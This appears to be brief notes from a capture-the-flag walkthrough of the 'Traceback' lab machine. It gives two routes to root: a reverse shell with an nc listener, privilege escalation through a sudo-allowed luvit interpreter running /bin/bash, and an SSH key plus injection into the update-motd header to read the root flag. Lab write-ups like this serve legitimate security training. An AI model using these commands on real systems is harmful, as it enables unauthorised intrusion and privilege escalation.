TRACEBACK

Method-1
1.search best shell(run them sepertly)
2.upload reverse shell(listen nc -lvvp)
3.tty shell
4.webadmin(sudo -u sysadmin /home/sysadmin/luvit privesc.lua)

```
webadmin@traceback:~$ sudo -l
Matching Defaults entries for webadmin on traceback:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webadmin may run the following commands on traceback:
    (sysadmin) NOPASSWD: /home/sysadmin/luvit
webadmin@traceback:~$ sudo -u sysadmin /home/sysadmin/luvit -e 'os.execute("/bin/bash")'
```

Method-2
1.ssh-keygen(public key can store on victim and can run through private key)
2.

3.ssh webadmin@10.10.10.181
4.cd /etc/update-motd.d{for ssh it is imp to know about motd i.e message of the day}
5.echo “cat /root/root.txt” >> /etc/update-motd.d/00-header
6.now step 3 in another terminal(we use 00-header coz it is the page for opening ssh)